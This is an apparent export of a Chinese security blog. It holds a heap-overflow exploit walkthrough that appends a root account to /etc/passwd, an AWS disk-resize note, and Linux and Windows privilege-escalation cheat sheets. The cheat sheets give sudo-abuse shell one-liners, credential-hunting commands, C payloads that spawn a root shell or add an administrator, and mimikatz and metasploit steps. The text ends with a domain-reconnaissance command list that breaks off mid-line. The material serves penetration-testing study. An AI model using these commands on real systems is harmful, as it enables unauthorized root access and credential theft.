<content type="text"><![CDATA[漏洞代码12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152#include <stdio.h>#include <stdlib.h>#include <string.h>#include <fcntl.h>#include <sys/stat.h>void usage(char *prog_name, char *filename) { printf("Usage: %s <data to add to %s>\n", prog_name, filename); exit(0);}int main(int argc, char *argv[]) { int userid, fd; // file descriptor char *buffer, *datafile; buffer = (char *) malloc(100); datafile = (char *) malloc(20); strcpy(datafile, "/var/notes"); if(argc < 2) // If there aren't commandline arguments usage(argv[0], datafile); // display usage message and exit strcpy(buffer, argv[1]); // copy into buffer printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer); printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile); // Opening the file fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); if(fd == -1) printf("in main() while opening file"); printf("[DEBUG] file descriptor is %d\n", fd); userid = getuid(); // get the real user ID// Writing data if(write(fd, &userid, 4) == -1) // write user ID before note data printf("in main() while writing userid to file"); write(fd, "\n", 1); // terminate line if(write(fd, buffer, strlen(buffer)) == -1) // write note printf("in main() while writing buffer to file"); write(fd, "\n", 1); // terminate line// Closing file if(close(fd) == -1) printf("in main() while closing file"); printf("Note has been saved.\n"); free(buffer); free(datafile);} 简单分析 这段代码程序中有两个buffer是存放在堆上面的,这个程序会接收一个参数,并将参数最终写入到/var/notes 这个文件中。 如图所示我们可以计算出两个buffer地址之间的距离是0x70(即112个字节),我们知道第一个buffer是以null为结束的,当我们写入这个buffer长度为112个字节的时候,那么第二个buffer将会被写入到datafile这个buffer开始的部分。 如我们所预期的,第二个buffer被我们写入了空.那么如果被覆盖的不是null,而是其他的呢?会是什么情况 这次,溢出导致第一个buffer写入到了当前文件下的testfile文件中,而不再是/var/notes 这个文件中 ,可以看到当使用free释放内存的时候报错了,这个其实就类似于栈溢出覆盖了返回地址一样。漏洞利用 从上面可以看出,文件名可以控制,而且可以append到文件中。这里可能会有几种利用的方式,其中最常见的利用方式就是写文件/etc/passwd,这个文件包含了系统的所有的用户名、ID、登录的shell等信息(对这个文件操作之前请注意先备份O!) 这个文件是以分号分隔开的,依次是登录名、密码、用户ID、组ID,用户名、用户的根目录以及登录的shell,其中密码处可以是x(代表加密,存放在/etc/shadow文件中),也可以直接是加密后的密文,此外用户id为0代表用户会是root的权限,这个时候我们的目标就是在这个文件中追加一条,一个带有密文且id为0的账号。 关于密码加密我们可以使用下面的命令12xxx@ubuntu:~/Desktop/heapoverflow$ perl -e 'print crypt("M0rk", "AA"). "\n"'AAhmo1jgYI0HE 所以我们最终想要在passwd文件中的条目大概是这个样子的myroot:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash 然而,这个特殊的堆溢出并不允许我们直接这么操作,因为我们必须以/etc/passwd为结束,但是这个限制我们可以使用符号链接来”绕过”,”绕过”方法如下 1234xxx@ubuntu:~/Desktop/heapoverflow$ mkdir /tmp/etcxxx@ubuntu:~/Desktop/heapoverflow$ ln -s /bin/bash /tmp/etc/passwdxxx@ubuntu:~/Desktop/heapoverflow$ ls -l /tmp/etc/passwdlrwxrwxrwx 1 xxx xxx 9 Nov 16 20:56 /tmp/etc/passwd -> /bin/bash 这个时候/tmp/etc/passwd指向了/bin/bash,这就意味着我们有了可登陆的shell,这个时候就变成了myroot:AAhmo1jgYI0HE:0:0:me:/root:/tmp/etc/passwd 此外这里还需要计算一下me这里需要填充多长才能满足112个字节。123456789xxx@ubuntu:~/Desktop/heapoverflow$ echo "myroot:AAhmo1jgYI0HE:0:0::/root:/tmp" |wc -c37xxx@ubuntu:~/Desktop/heapoverflow$ bcbc 1.06.95Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundation, Inc.This is free software with ABSOLUTELY NO WARRANTY.For details type `warranty'. 112-37+176 如上图所示,通过堆溢出成功添加了账号并登陆。小结 这里只是举例了一个发生在堆内存上的溢出漏洞,并没有涉及到像是unlink或者UAF等技巧(后面有时间再研究分享),但像是通过写/etc/passwd以及软链接的trick还是不错的。reference 《hacking the art of exploitation》chapter 0x340 Dance In Heap(二):一些堆利用的方法(上) 堆溢出之unlink的利用 Linux堆内存管理深入分析 The Heap]]></content>
</entry>
<entry>
<title><![CDATA[Amazon云扩容笔记]]></title>
<url>%2F2017%2F10%2F22%2FAmazon%E4%BA%91%E6%89%A9%E5%AE%B9%E7%AC%94%E8%AE%B0%2F</url>
<content type="text"><![CDATA[aws扩容TL;DR 用了亚马逊的云,但是最近8G的存储不够了。看了一下,好像有没有什么可删除的东西了。然后查了一下,原来亚马逊云是可以扩容的,暂时还不知道扩容收不收费。。为什么要记录一下呢,因为这里有一个小坑1234按照参考1中的方法,前面几个步骤没有问题,但是最后就是报错,大概是找不到快照中的对应的目录,原来是在挂载卷的时候,目录选错了,设置成这个就可以了。/dev/sda1(见参考2).参考:1.http://naonao.blog.51cto.com/1135983/15579942.https://stackoverflow.com/questions/6151695/ec2-instance-on-amazon-and-i-am-greeted-with-no-space-left-on-the-disk 更新 国内的文章真是坑啊,参考1的步骤是有问题的,建议还是用第二个参考链接,参考1的方法,没有先deteach掉volume就创建快照了,这种方法会导致后面启动实例失败,按照参考2的步骤来就没有问题。kali linux虚拟机扩容 参考文章Use GParted to increase disk size of a Linux native partitionubunut虚拟机扩容 坑点 要先删除swap分区,才能扩大主分区,参考文章vmware中ubuntu虚拟机扩容]]></content>
</entry>
<entry>
<title><![CDATA[linux权限提升]]></title>
<url>%2F2017%2F10%2F10%2Flinux%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%2F</url>
<content type="text"><![CDATA[Brief 当我们获取到一个低权限的shell的时候,我们往往需要提升权限,以方便后面任意读写任意文件、权限维持等操作。 这篇文章中我们主要介绍一些常见的linux的权限提升的技巧,这其中包括1.内核提权2.以root权限运行的程序3.已安装的软件4.弱口令和明文密码5.内部的服务6.suid的错误配置7.滥用sudo权限8.以root权限运行的脚本文件9.错误的路径配置10.计划任务枚举脚本 我之前用这三个脚本来枚举linux机器的基本信息,这三个脚本略有不同,但输出都很相似,所以选择一个你喜欢的就可以。LinEnum 以下是基本的选项:12345-k Enter keyword-e Enter export location-t Include thorough (lengthy) tests-r Enter report name-h Displays this help text Unix privescLinprivchecker.py这篇文章总结的比较全了Basic Linux Privilege Escalation 或许你不想用脚本,那么可以主要关注以下方面的信息1234561.系统信息 unmae -a,env,whoami,hsitory,pwd2.还有谁登陆了或者登陆过这个系统 who,w,last3.当前用户是否在sudoers 文件里 sudo -l ,cat /etc/sudoers4.是否有其它超级用户 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'5.查看一下网络信息 ifconfig -a,netstat -antlp,lsof -i6.查看运行的服务和进程 ps aux ,ps -ef 以root权限运行的服务或程序 这个方法的原理就是如果一个服务是以root权限运行的,那么让这个服务去执行命令,那么执行的这个命令也将会是以root权限运行的,查看web服务器、数据库或者其它的服务,典型的例子然是mysql的,如下: 查看有哪些正在运行的程序1234# Metasploitps# Linuxps aux mysql 如果你发现mysql是以root权限运行的,登录到mysql然后试试执行下面的命令:12select sys_exec('whoami');select sys_eval('whoami'); 如果这个不行可以使用UDF进行提权.UDF提权 用户安装的软件 用户安装的第三方软件是否是存在漏洞,如果有的话可以google一下exploit。 1234567891011121314151617# 常见的安装软件目录/usr/local//usr/local/src/usr/local/bin/opt//home/var//usr/src/# Debiandpkg -l# CentOS, OpenSuse, Fedora, RHELrpm -qa (CentOS / openSUSE )# OpenBSD, FreeBSDpkg_info 然后查找对应的软件是否有漏洞并查找对应的exploit。 弱口令或者明文密码 检查一下web服务器连接数据库的配置文件(例如config.php) 检查一下数据库的管理员密码,密码可能被重用。 检测一下弱口令 123456username:usernameusername:username1username:rootusername:adminusername:qwertyusername:password 检查一下明文密码 1234# Anything interesting the the mail?/var/spool/mail./LinEnum.sh -t -k password 检查一下 ~/.ssh 文件夹 以及其它用户的.ssh目录。 检查一下 ~/.bash_history文件 以及其它用户的.bash_history文件。只能内部访问的服务 一些服务可能只是对内开放,外部是访问不了的,比如说部署服务器、数据库或者其它,这些服务可以是以root权限运行的,这些服务恰恰有可能存在漏洞,因为开发者或者用户可能会认为因为服务只是内部使用所以就放松了警惕。 使用netstat对比一下nmap的扫描结果123# Linuxnetstat -anlpnetstat -ano suid和guid错误配置 查找suid和guid的文件12345#Find SUIDfind / -perm -u=s -type f 2>/dev/null#Find GUIDfind / -perm -g=s -type f 2>/dev/null 滥用sudo权限 如果你的shell可以通过sudo去访问某些程序且无需密码(通过sudo -l,或者查看/etc/sudoers文件),这个时候就有可能进行提权,例如你可以sudo cp,那么就可以覆盖/etc/shadow 或者/etc/sudoers 这些命令有 awk、bash、cp等 awk 1awk 'BEGIN {system("/bin/bash")}' more less123sudo less /etc/shadowv:shell nmap1低版本的nmap3.x 有interactive模式,且设置了suid,这个时候可以进入交互模式 执行!sh 命令即可轻松完成提权。 python1sudo python -c ‘import pty;pty.spawn(“/bin/bash”);’ find 1sudo find /home -exec sh -i \; 其它 apt-get/yum/dpkg 1sudo apt-get update -o APT::Update::Pre-Invoke::=”/bin/bash -i” 总而言之就是NOPASSWORD的程序都需要特别关注。 此外还有一个sudo_inject工具,进行进程注入,但是条件比较苛刻,1.需要有ptrace 2.需要有一个有效sudo token的进程。工具地址Linux Privilege Escalation – Using apt-get/apt/dpkg to abuse sudo “NOPASSWD” misconfigurationhow-i-got-root-with-sudoLinux Restricted Shell BypassAbusing SUDO (Linux Privilege Escalation) 国外有人还专门做了一个类似的网站用来整理一些可以exploit或者绕过系统安全限制的程序列表及方法 GTFOBins以root权限运行的脚本文件 如果你发现一个脚本是root所有但是可以被任何用户写,这时你就可以添加你恶意的代码到这脚本中从而实现提权操作。其中最常见的是计划任务脚本。12345678910#World writable files directoriesfind / -writable -type d 2>/dev/nullfind / -perm -222 -type d 2>/dev/nullfind / -perm -o w -type d 2>/dev/null# World executable folderfind / -perm -o x -type d 2>/dev/null# World writable and executable foldersfind / \( -perm -o w -perm -o x \) -type d 2>/dev/null 错误的路径配置12 这个trick不是很常见。首先这个需要受害者“错误”配置了 PATH这个环境变量,我们知道我们要在当前路径下执行某个可执行文件比如run.sh,我们需要输入 ./run.sh,有些管理员为了方便,可能会在PATH中添加.来避免输入./,这样只输入run.sh 就可以执行了。设想有这个一个场景,黑客A(低权限)和用户B(高权限),而用户B正好就设置了我们如上所说的变量,那么A可以将他的恶意程序命令为ls,而当B在进入到这个目录,并且使用ls命令查看文件属性的时候,恶意文件就会以B用户的权限去执行。这个有点儿像是欺骗攻击。 更多1更多2 计划任务 查看属于高权限用户但是你有写权限的文件123456789101112crontab -lls -alh /var/spool/cronls -al /etc/ | grep cronls -al /etc/cron*cat /etc/cron*cat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/root NFS共享 如果远程服务器开启了NFS共享,这个时候可以挂在远程共享服务磁盘,例如 1mount 192.168.1.101:/ /tmp/ 而如果这里的文件是root用户创建的,且你是可写可执行的,那么你就可以修改这个文件,然后去执行。 恶意代码可能是这样的1234567891011#include <stdio.h>#include <stdlib.h>#include <sys/types.h>#include <unistd.h>int main(){ setuid(0); system("/bin/bash"); return 0;} 通过键盘记录仪窃取密码1如果你有sudo权限 但是你没有密码的时候你可以安装个键盘记录仪,去记录root用户输入的密码。 其它有用的和提权相关的东西 所有人可写的目录12345/tmp/var/tmp/dev/shm/var/spool/vbox/var/spool/samba 内核提权 最后万不得已,才使用内核提权,内核提权有风险,操作需谨慎。 利用linux的内核漏洞有时可以提权,但需要提前测试内核explicit是否对当前的系统、架构以及内核版本是有效的。 查看系统、架构、内核版本命令123uname -acat /proc/versioncat /etc/issue 查找exploit123456site:exploit-db.com kernel versionpython linprivchecker.py extended#search exploit for linux kernel 2.6 searchsploit kernel 2.6 linux | sort -n 其中dirty-cow脏牛可以搞定大多的内核!! 能不用内核漏洞提权尽量就不要用,虽然内核提权是最快且最容易的,但因为它可能会导致系统崩溃或使系统处于一个不稳定的状态,且还会产生大量的日志信息在sys.log 文件中。注意!!!在进行内核提权的时候先查看一下大概的代码以及原理,并且在本地最好做一下测试提权工具unix-privesc-checkVarious kernel exploitslinux提权实操环境in.security 提权靶场通关手册上篇Lin.security – walkthroughReferenceATT&CK Privilege Escalationguide-linux-privilege-escalationprivilegeescalation-_linuxLinux提权——利用可执行文件SUIDhttps://github.com/sagishahar/lpeworkshopA guide to Linux Privilege Escalationnmap提权Its Too Funky In Here04 Linux privilege escalation for fun profit and all around mischief linux提权实战Privilege Escalation Cheatsheet!!! 提权环境-以上]]></content>
</entry>
<entry>
<title><![CDATA[windows权限提升(二)]]></title>
<url>%2F2017%2F10%2F01%2Fwindows%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87(%E4%BA%8C)%2F</url>
<content type="text"><![CDATA[TL;DR A privilege is the right of an account, such as a user or group account, to perform various system-related operations on the local computer, such as shutting down the system, loading device drivers, or changing the system time” (msdn.microsoft.com) 首先来说说windows权限提升对于攻击者来说有哪些好处1.可以尝试更多的攻击手法2.可以获取到本地用户的哈希3.可以在网络层进行LLMNR、NBNS投毒等4.本地抓包5.安装软件6.可以从内存中获取明文的认证信息 当然本篇文章只是有关单台windows的提权,提权有时还包含内环境的情况,就是从一个普通域用户提权到域管理员用户,这种情况暂不在本文讨论范畴。 20200208更新-发现好笔记一处,比我的文章全。。。Windows - Privilege Escalation基本系统信息枚举 在提权之前我们首先需要对这个系统需要有一定的了解,比如需要知道当前用户有哪些权限、系统打了哪些补丁等信息。123456789101112131415161718192021222324252627282930313233# Basicssysteminfohostname# Who am I?whoamiecho %username%# What users/localgroups are on the machine?net usersnet localgroups# More info about a specific user. Check if user has privileges.net user user1# View Domain Groupsnet group /domain# View Members of Domain Groupnet group /domain <Group Name># Firewallnetsh firewall show statenetsh firewall show config# Networkipconfig /allroute printarp -A# How well patched is the system?wmic qfe get Caption,Description,HotFixID,InstalledOnwmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.." - to find specific KBs 明文密码存储通过以下的命令进行查找12345678910111213141516findstr /si password *.txtfindstr /si password *.xmlfindstr /si password *.ini#Find all those strings in config files.dir /s *pass* == *cred* == *vnc* == *.config*# Find all passwords in all files.findstr /spin "password" *.*findstr /spin "password" *.*# Find Browser Credsenum_ie,enum_chrome(metasploit)# SessionGopher - find Putty,winscp,RDP creds[SessionGopher](https://github.com/Arvanaghi/SessionGopher) 关键文件查找 在这些常见的文件中查找,其中有些可能是base64编码的。12345678910111213c:\users\xxx\Desktop\password.xlsc:\sysprep.infc:\sysprep\sysprep.xmlc:\unattend.xml%WINDIR%\Panther\Unattend\Unattended.xml%WINDIR%\Panther\Unattended.xmldir c:\*vnc.ini /s /bdir c:\*ultravnc.ini /s /b dir c:\ /s /b | findstr /si *vnc.ini此外还有可能是域环境中的group policy文件C:\ProgramData\Microsoft\Group Policy\History\????\Machine\Preferences\Groups\Groups.xml • \\????\SYSVOL\\Policies\????\Machine\Preferences\Groups\Groups.xml![](grouppolicyfile.png) 注册表查找123456789101112131415161718192021# Windows autologinreg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsernamereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword# SNMP Paramtersreg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"# Puttyreg query "HKCU\Software\SimonTatham\PuTTY\Sessions"reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\BWP123F42-v ProxyUsernamereg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\BWP123F42-v ProxyPassword#vncreg query HKEY_CURRENT_USER\Software\TightVNC\Server /v Passwordreg query HKEY_CURRENT_USER\Software\TightVNC\Server /v PasswordViewOnly# Search for password in registryreg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /s 仅对内网提供的服务 有时候一些服务只是允许内网用户访问,例如一个mysql服务器为了安全不允许外部进行连接。此外一些拥有高权限的程序往往也是针对内网的网络设备。例如打印机接口等。这些服务服务往往是容易存在漏洞的。 1netstat -ano 可能输出如下: 1234567891011121314Proto Local address Remote address State User Inode PID/Program name ----- ------------- -------------- ----- ---- ----- ---------------- tcp 0.0.0.0:21 0.0.0.0:* LISTEN 0 0 - tcp 0.0.0.0:5900 0.0.0.0:* LISTEN 0 0 - tcp 0.0.0.0:6532 0.0.0.0:* LISTEN 0 0 - tcp 192.168.1.9:139 0.0.0.0:* LISTEN 0 0 - tcp 192.168.1.9:139 192.168.1.9:32874 TIME_WAIT 0 0 - tcp 192.168.1.9:445 192.168.1.9:40648 ESTABLISHED 0 0 - tcp 192.168.1.9:1166 192.168.1.9:139 TIME_WAIT 0 0 - tcp 192.168.1.9:27900 0.0.0.0:* LISTEN 0 0 - tcp 127.0.0.1:445 127.0.0.1:1159 ESTABLISHED 0 0 - tcp 127.0.0.1:27900 0.0.0.0:* LISTEN 0 0 - udp 0.0.0.0:135 0.0.0.0:* 0 0 - udp 192.168.1.9:500 0.0.0.0:* 0 0 - 注意监听的端口,对比一下你从外网扫描到的结果,这里面有没有是你外网访问不到的? 如果是这样的,你可以通过端口转发来连接它。 123456# Port forward using plinkplink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080# Port forward using meterpreterportfwd add -l <attacker port> -p <victim port> -r <victim ip>portfwd add -l 3306 -p 3306 -r 192.168.1.101 来看一下netstat命令的输出 本地地址 0.0.0.0 本地地址0.0.0.0意味着这个服务监听所有的接口,这个意味着所有人都可以连接。本地地址 127.0.0.1 本地地址127.0.0.1意味着只能接受本台pc的连接,不允许任何其它地方的连接。本地地址 192.168.1.9 本地地址192.168.1.9意味着只是监听来自本地网络的连接,所以只有本地的网络可以连接它,外网是不能连接的。计划任务 通过如下的命令查看计划任务 1schtasks /query /fo LIST /v 这个输出可能会很多,这个时候可以通过使用findstr命令进行一下过滤,我往往是将其粘贴到txt文档中,然后通过linux命令进行查找。虽然不是很优雅,但是能解决问题,你也可以修改SYSTEM为其它的高权限用户。 1cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM 脆弱的服务权限 服务是windows上没有图形化界面运行在后台的程序。如果你发现一个服务允许everyone写,那么你可以将你的二进制文件写到这个目录并让它去执行。 首先我们可以使用wmic或者sc.exe去发现服务,wmic并不是每台windows机器上都有,且有可能对你当前的用户不可用,如果你用不了它,你可以使用sc.exe1accesschk.exe -uwcqv "Authenticated Users" * /accepteula 服务程序路径每个人均可修改 2019年12月9日更新,工具RogueWinRMlink WMIC1wmic service list brief 这个命令将会输出当前机器所运行的服务,这个时候我们需要找到这些有权限漏洞的服务,为了检查权限问题我们可以使用icacls这个命令,注意这个命令从vista才开始支持,xp或者以下用的是cacls命令。 如下的命令用于查看运行文件在非system32目录下的服务,并且使用icacls查看对应的权限。前提是你能够使用wmic,且你在c:\windows\temp目录有些权限。123for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txtfor /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a" system32目录被排除了,因为他们大多是正确的,一般都是系统创建的。 sc.exe12345678sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txtFOR /F %i in (Servicenames.txt) DO echo %itype Servicenames.txtFOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txtFOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt 现在你就可以使用cacls命令来逐个查看每个文件权限了。 1cacls "C:\path\to\file.exe" 查看脆弱点 我们需要关注的是用户安装的二进制文件,而不是系统自带的,而且我们想要找的是这样权限的 BUILTIN\Users:(F) ,就是内建用户拥有所有权限的,或者是user/usergroup有F或者C权限的。例如: 12345C:\path\to\file.exe BUILTIN\Users:FBUILTIN\Power Users:C BUILTIN\Administrators:F NT AUTHORITY\SYSTEM:F 这就意味着你当前用户拥有写权限,这个时候你可以重命名这个exe程序,然后将你的恶意程序放在这个目录下。最后重启这个程序,你的恶意程序就会被执行。这个恶意程序可以使用msfvenom来实现反弹shell或者获取最高权限。 下面的poc用于创建一个管理员组的用户 1234567#include <stdlib.h>int main (){int i; i = system("net localgroup administrators theusername /add");return 0;} 然后我们可以使用mingw编译它 1i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe 重启服务 现在我们需要重启服务来让我们的“恶意”程序得以执行,我们可以使用wmic命令或者net命令:1wmic service NAMEOFSERVICE call startservice 1net stop [service name] && net start [service name]. 这个时候你的二进制文件就会以system或者以管理员上下文进行执行。移植你的meterpreter shell 如果你的meterpreter 会话不稳定这个时候你可以迁移到一个稳定的服务上,例如移植到winlogon这个服务上,这个服务是以system权限运行的,且一般是一直运行的。我们可以使用如下的命令查看winlogon的PID1wmic process list brief | find "winlogon" 这个是有可以使用 migrate pid 进行转移。这里有个很好的例子!!!PTP Lab — Privilege Escalation with Services 没有加双引号的服务路径12345678# Using WMICwmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """# Using scsc querysc qc service name# Look for Binary_path_name and see if it is unquoted. 如果路径包含了空格且没有被双引号闭合,那么这个服务是容易受攻击的。更多更多1如何利用 如果可执行文件的路径是这样的 1c:\Program Files\something\winamp.exe 我们可以放如下的程序在这里 1c:\program.exe 当服务重启的时候将会执行program.exe,我们可以利用任何有空格的目录,不仅仅是program files目录。 更多的攻击技巧可以看这里:http://toshellandback.com/2015/11/24/ms-priv-esc/metasploit 也有这个模块 exploit/windows/local/trusted_service_pathAlwaysInstallElevated AlwaysInstallElevated是一个策略设置。微软允许非授权用户以SYSTEM权限运行安装文件(MSI),默认是没有配置的(即无法利用的)。 12reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevatedreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated 这个配置错误的不多,更多可以看向这里https://xz.aliyun.com/t/203 组策略 如果一个机器是加入域了的,当前用户可以查看系统信息卷,这里可能有敏感的文件。 首先我们需要装载这个卷,为了查找到域控机器的ip地址,我们先看一下环境变量。 123456789101112131415161718192021# Output environment-variablesset# Look for the following:LOGONSERVER=\\NAMEOFSERVERUSERDNSDOMAIN=WHATEVER.LOCAL# Look up ip-addresnslookup nameofserver.whatever.local# It will output something like thisAddress: 192.168.1.101# Now we mount itnet use z: \\192.168.1.101\SYSVOL# And enter itz:# Now we search for the groups.xml filedir Groups.xml /s 如果发现有password,我们可以使用kali中的工具进行解密 1gpp-decrypt encryptedpassword 从admin到system权限 有些时候需要用到system权限,例如操作注册表HKEY_LOCAL_MACHINE\SAM\SAM,以下总结一下从admin权限到system权限的技巧。xp和xp之前 如果你是一个有GUI界面的管理员组用户,如果你直接打开cmd.exe的时候,你只是以普通用户运行的这个程序,而当你右键以管理员身份运行你需要知道管理员密码。你可能没有管理员密码,这个时候你可以去c:\windows\system32 目录去运行cmd.exe 程序。 我们想要成为system 用户,还需要做以下的工作: 123time# Now we set the time we want the system CMD to start. Probably one minuter after the time.at 01:23 /interactive cmd.exe 然后system权限的cmd就出现了。 vista之后或者更新的系统 你首先需要上传一个psexec.exe 然后运行如下的命令1psexec -i -s cmd.exe 创建服务的方式1sc create syscmd binPath= "cmd /K start" type= own type= interact 使用metasploit 如果你有个metasploit的meterpreter的会话,直接运行getsystem就可以 xpn专门写了篇文章分析了getsystem中使用的技术referermimikatz1234privilege::debugtoken::whoamitoken::elevatelsadump::sam 使用 mimikatz的驱动进行提权使用mimikatz的继承父进程权限方法 other 这里有个问题,就是system权限是windows最高的权限,那么是不是就可以“为所欲为”?,那么你可以尝试删除一下c:\windows\system32目录下的某个文件(cmd.exe除外不排除有其它的程序),发现竟然删除不了。 Files in System32 are typically owned by “TrustedInstaller” and are locked down really tightly. If you really, absolutely feel you must do this, the easiest way is to boot from a Linux LiveCD or a Windows install disk.stackoverflowWindows 7/8/10 – How to Delete Files Protected by TrustedInstaller 这个TrustedInstaller是比较有趣的用户,可以理解为安装系统的人,一般的administrator组或者system组的用户都是修改不了所属TrustedInstaller的问题,所以想要修改这种文件,只能通过修改文件所有者才能达到自己想要的结果。the-art-of-becoming-trustedinstaller后渗透模块msf metasploit有一些有意思的后渗透模块,你需要有一个meterpreter shell 然后去运行这些后渗透模块1234567891011121314151617use exploit/windows/local/service_permissionspost/windows/gather/credentials/gpprun post/windows/gather/credential_collector run post/multi/recon/local_exploit_suggesterrun post/windows/gather/enum_sharesrun post/windows/gather/enum_snmprun post/windows/gather/enum_applicationsrun post/windows/gather/enum_logged_on_usersrun post/windows/gather/checkvm Empire Empire内置了PowerUp部分工具,用于系统提权。可参考一篇文章精通PowerShell Empire 2.3脆弱的驱动 一些驱动程序也可以帮助我们提权,对这块儿没怎么研究,待更。12# List all driversdriverquery 漏洞提权hotpotato Hot Potatok利用了windows中已有的一些问题,在windows默认配置下进行本地权限提升。实际是利用了NTLM重放(更确切的说是HTPP->SMB重放),和NBNS欺骗。ms16032 适用Win7-Win10 & 2k8-2k12 <== 32/64 bit! 漏洞详情 https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html内核漏洞提权 内核提权应该是我们最后万不得已才使用的方法,因为它往往容易导致系统不稳定或造成其它方面的问题。 首先来看一下系统的补丁情况 12345678systeminfo# orwmic qfe get Caption,Description,HotFixID,InstalledOn# metasploit enumerate missing patchespost/windows/gather/enum_patchespost/multi/recon/local_exploit_suggester# posershell get-hotfix | Sort-Object HotfixID |format-table 查找exploit 这里推荐一个工具Watson.exe 或者是通过metasploit的post/windows/gather/enum_patches 补丁枚举进而查找对应的提权漏洞进行提权。python 转换成二进制文件 如果我们的exploit是用python写的,但是受害机又没有python环境,这个时候可以使用pyinstaller或者其它工具将其转换成二进制文件。工具PowerUptoken窃取和debug权限滥用利用工具incognitoother Privilege Escalation: Weaponizing CVE-2019-1405 and CVE-2019-1322 CVE-2019-1388: Windows UAC 提权 感觉这个挺有意思的,利用了运行consent.exe程序的高权限,使用浏览器打开网页之后再通过浏览器运行cmd.exe。ReferencePrivilege Escalation WindowsWindows Privilege Escalation Techniques (Local)Level Up! - Practical Windows Privilege EscalationWindows Privilege Escalation Unquoted Service part1/2/3RomHack 2018 - show me your Windows privileges and I will lead you to SYSTEM - Pierini!!! 提权环境-以上]]></content>
</entry>
<entry>
<title><![CDATA[windows域安全]]></title>
<url>%2F2017%2F09%2F28%2Fwindows%E5%9F%9F%E5%AE%89%E5%85%A8%2F</url>
<content type="text"><![CDATA[TL;DR 域安全笔记域 域(Domain)是相对工作组(Workgroup)的概念,形象的说,域就像中央集权,由一台或数台域控制器(Domain Controller)管理域内的其他计算机;工作组就像各自为政,组内每一台计算机自己管理自己,他人无法干涉。 域是一个计算机群体的组合,是一个相对严格的组织,而域控制器则是这个域内的管理核心。 一般情况下,域控制器集成了DNS服务,可以解析域内的计算机名称(基于TCP/IP),解决了工作组环境不同网段计算机不能使用计算机名互访的问题。 Active Directory = LDAP服务器+LDAP应用(Windows域控)就是Active Directory先实现一个LDAP服务器,然后自己先用这个LDAP服务器实现了自己的一个具体应用(域控)。 内网信息搜集以及常见域命令12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576ipconfig /all 查询本机IP段,所在域等net config Workstation 当前计算机名,全名,用户名,系统版本,工作站域,登陆域net user 本机用户列表net localhroup administrators 本机管理员[通常含有域用户]net user /domain 查询域用户net user 用户名 /domain 获取指定用户的账户信息net group /domain 查询域里面的工作组net group 组名 /domain 查询域中的某工作组net group "domain admins" /domain 查询域管理员列表net group "enterprise admins" /domain 获得企业管理员列表net group 组名 /del /domain 删除域中的某组net group 组名 组成员名 /del /domain 删除域中的某组的组成员net localgroup administrators /domain 登录本机的域管理员net group 组名 /add 增加域中的组net localgroup administrators workgroup\user001 /add 域用户添加到本机net group "domain controllers" /domain 查看域控制器(如果有多台)net time /domain 判断主域,主域服务器都做时间服务器net session 查看当前会话net use \\ip\ipc$ pawword /user:username@domain 建立IPC会话[空连接-***]net use z: \\192.168.200.21\文件夹名 建立映射到本机Z盘net share 查看SMB指向的路径[即共享]at \\192.168.200.2 0:00 c:\windows\muma.exe 在共享主机上执行net view 查询同一域内机器列表net view /domain 查询域列表net view /domain:M0RK 查看test域中计算机列表net view \\域控的机器名 查看域控共享情况nltest /domain_trusts 获取域信任信息net session 查看当前会话net start 查看当前运行的服务net time /domain 查询主域服务器的时间echo %logonserver% 查看登录认证的机器(即域控机器)net accounts 查看本地密码策略net accounts /domain 查看域密码策略query user 查看当前的登录信息netsh firewall show config 查看防火墙策略netsh firewall show state 查看防火墙策略route print 路由表tracert IP 路由跟踪arp -a 列出本网段内所有活跃的IP地址arp -s (ip + mac) 绑定mac和IParp -d (iP + mac) 解绑IP和Mactasklist /V 查看进程[显示对应用户]tasklist /S ip /U domain\username /P /V 查看远程计算机进程列表tasklist /S IP地址 /U 域名\用户名 /P /V 查看远程计算机进程tasklist /svc 查看进程taskkill /im 进程名称(cmd.exe) 结束进程taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)qprocess * 类似tasklistqprocess /SERVER:IP 远程查看计算机进程列表whoami /all 查询当前用户权限等set 查看系统环境变量systeminfo 查看系统信息qwinsta 查看登录情况fsutil fsinfo drives 查看所有盘符wmic bios 查看bios信息wmic qfe 查看补丁信息wmic qfe get hotfixid 查看补丁-Patch号,很实用wmic share get name,path 查看SMB指向路径net view /domainnet config workstationnet group "Domain 